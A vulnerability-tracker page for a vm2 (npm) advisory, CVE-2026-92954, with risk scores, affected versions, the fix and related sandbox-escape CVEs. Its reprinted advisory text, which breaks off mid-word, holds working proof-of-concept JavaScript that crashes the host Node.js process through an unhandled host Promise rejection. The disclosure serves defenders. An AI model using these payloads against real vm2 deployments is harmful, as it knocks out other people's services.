Patch Forecast
Amber warning
Patch this week.

CVE-2026-92954 · GHSA-gjq8-xm47-88rc

vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process

Risk score
75/100
CVSS
8.6 v3.1
Exploit chance (30 days)
0.5%
Published
5 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
vm2 current head (v3.11.5, commit 7a1f5100b96f48d34e0fe104ab37c0acc5944f92) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value. This is an incomplete-fix variant of the GHSA-hw58-p9xv-2mjh unhand…
Affected
vm2 (npm) >= 3.10.0, <= 3.11.7
Fix
Upgrade vm2 to 3.11.8 or later.
Exploitation
Public proof of concept

Story map

Story map: vm2THE FLAWSTHE FIXCVE-2026-92954Host-returned Promiserejection can bypass vm2'sunhandled-rejection hardening…CVSS 8.6 · EPSS 0%CVE-2026-92946NodeVM `require.external`without an explicit`require.root` grants…CVSS 10.0 · EPSS 1%CVE-2026-92944Vm2 sandbox escape on Node.js26 through a stalePromiseThenLookupChain…CVSS 9.8 · EPSS 1%CVE-2026-92956Vm2 sandbox escape viaWebAssembly.compileStreaming Promise species bypassCVSS 10.0 · EPSS 1%FixUpgrade vm2 to 3.11.7 or later.Who is exposedvm2 (npm) <= 3.11.6RED · ACT TODAYvm2NodeVM's require.externaloption lets sandboxed coderequire() local files and npmpackages. When require.externalis enabled and require.root is notexplicitly set to a path thatexcludes node_modules, two…Where it standsPublic proof of conceptCONNECTS TOSame weaknessCWE-248 (CWE-248)63 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

vm2: Red, act today. NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox: require.root defaults to unrestricted — "if omitted every path is …

The flaws

  • CVE-2026-92954: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process (CVSS 8.6 · EPSS 0%)
  • CVE-2026-92946: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE (CVSS 10.0 · EPSS 1%)
  • CVE-2026-92944: Vm2 sandbox escape on Node.js 26 through a stale PromiseThenLookupChain protector (CVSS 9.8 · EPSS 1%)
  • CVE-2026-92956: Vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass (CVSS 10.0 · EPSS 1%)

The fix

Fix: Upgrade vm2 to 3.11.7 or later.

Who is exposed: vm2 (npm) <= 3.11.6

Where it stands

  • Public proof of concept

Connects to

Why it is Amber

  • CVSS 8.6 critical
  • Public exploit or proof of concept referenced
  • Remotely exploitable without logging in
  • On your watchlist: npm

Affected packages

PackageEcosystemVulnerableFixed in
vm2npm>= 3.10.0, <= 3.11.73.11.8

References

Original description

## Summary vm2 current head (`v3.11.5`, commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value. This is an incomplete-fix variant of the `GHSA-hw58-p9xv-2mjh` unhandled rejection hardening. The `localPromise` constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge boundary. If the sandbox does not attach `.catch()` or `.then(..., onRejected)`, Node's default unhandled rejection behavior terminates the host process. ## Technical Details `lib/setup-sandbox.js` hardens sandbox-created Promises by wrapping the executor and attaching a benign swallow tail: ```js apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]); ``` That only applies to `localPromise` instances created inside the sandbox. Host-returned Promises cross the membrane through the bridge apply path. The bridge wraps callbacks when sandbox code later calls `.then`, `.catch`, or `.finally` on a host Promise: ```js bridge.setHostPromiseSanitizers(e => handleException(from(e)), from); ``` However, if sandbox code ignores the returned host Promise, no host-side rejection handler is attached. The original host Promise remains unhandled and Node terminates the host process under the default unhandled-rejection behavior. `NodeVM` provides an in-repository example of this primitive through the special `events` builtin wrapper. `lib/builtin.js` passes host `EventEmitter.once` into the sandbox: ```js once: EventEmitter.once, ``` Then `lib/events.js` re-exports it: ```js if (host.once) module.exports.once = host.once; ``` Calling `events.once(ee, 'message')` and then emitting `error` on `ee` returns a rejected host Promise through that wrapper. If ignored by sandbox code, it terminates the host process. ## Impact An attacker who can run code in a vm2 sandbox can terminate the host Node.js process when the embedder exposes a host Promise-returning API, or when a `NodeVM` permits the `events` builtin. For web services, queues, notebook workers, plugin hosts, and multi-tenant code execution systems, a single small request can terminate the worker process. Restart policies do not fully mitigate the issue because the payload can be replayed after each restart. ## Affected Package/Versions Confirmed affected on Node.js `v25.8.0`: - `v3.10.0` - `v3.10.1` - `v3.10.2` - `v3.10.3` - `v3.10.4` - `v3.10.5` - `v3.11.0` - `v3.11.1` - `v3.11.2` - `v3.11.3` - `v3.11.4` - `v3.11.5` / current head `7a1f5100b96f48d34e0fe104ab37c0acc5944f92` The final PoV was also reproduced on current head with Node.js `v16.20.2`, `v18.20.8`, `v20.20.2`, `v22.22.3`, `v24.16.0`, and `v25.9.0` using `npx node@<major>`. The local workstation default Node.js `v25.8.0` also reproduces. ## Configuration Required The general VM PoV requires an embedder-exposed host function that can return a rejected host Promise: ```js const vm = new VM({ sandbox: { hostReject: () => Promise.reject(new Error('host-boom')), }, }); ``` The NodeVM variant requires `events` in the builtin allowlist: ```js new NodeVM({ require: { external: false, builtin: ['events'] } }); ``` `events.once()` is exposed by vm2's special `events` builtin wrapper. Node's official API documents `events.once()` as returning a Promise that rejects when the watched emitter emits `error` while waiting for another event. ## Controls - If sandbox code attaches `.catch(() => {})` to the returned host Promise, the process survives. - If sandbox code creates and ignores a sandbox-native rejected Promise, the process survives on current head. This confirms the `GHSA-hw58` localPromise hardening is active. - If sandbox code attaches `.catch(() => {})` to the `events.once()` Promise, the `NodeVM` process survives. - If `NodeVM` does not allow the `events` builtin, the `events.once()` variant does not run and the process survives. ## Disclosure Policy Fit vm2's security policy asks reporters not to open public issues and to submit This report is intended for that private route and includes the requested reproduction steps, affected versions, environment/configuration details, and impact. The affected range is within the supported `3.x` line. ## Local Proof of Concept Run from the `oss-zero-day-harness` directory: ```fish node submission-bundle/vm2-pov-test-host-promise-return-unhandled-rejection-dos/pov-host-promise-return-unhandled-rejection-dos.js ``` The crash-safe PoV executes each case in a child process. A vulnerable result has `status: 1` for the positive cases and `status: 0` for controls. Minimal VM positive case: ```js const { VM } = require('vm2'); const vm = new VM({ sandbox: { hostReject: () => Promise.reject(new Error('host-boom')), }, }); vm.run('hostReject(); 1'); setTimeout(() => console.log('survived'), 150); ``` Observed on current head: ```text Error: host-boom at hostReject (...) ``` The process exits before printing `survived`. Minimal NodeVM builtin variant: ```js const { NodeVM } = require('vm2'); const vm = new NodeVM({ require: { external: false, builtin: ['events'] }, }); vm.run(` const events = require('events'); const ee = new events.EventEmitter(); events.once(ee, 'message'); ee.emit('error', new Error('event-boom')); module.exports = 'returned'; `, 'events-pov.js'); setTimeout(() => console.log('survived'), 150); ``` Observed on current head: ```text node:internal/process/promises:332 triggerUncaughtException(err, true /* fromPromise */); Error: event-boom ``` The process exits with status `1`. ## Mitigation Applications can reduce exposure by installing a process-level `unhandledRejection` handler that swallows vm2-originated rejections, as the README recommends for related async rejection caveats. That is an application workaroun

Last activity 5 Oct 2026. Patch Forecast updates every hour.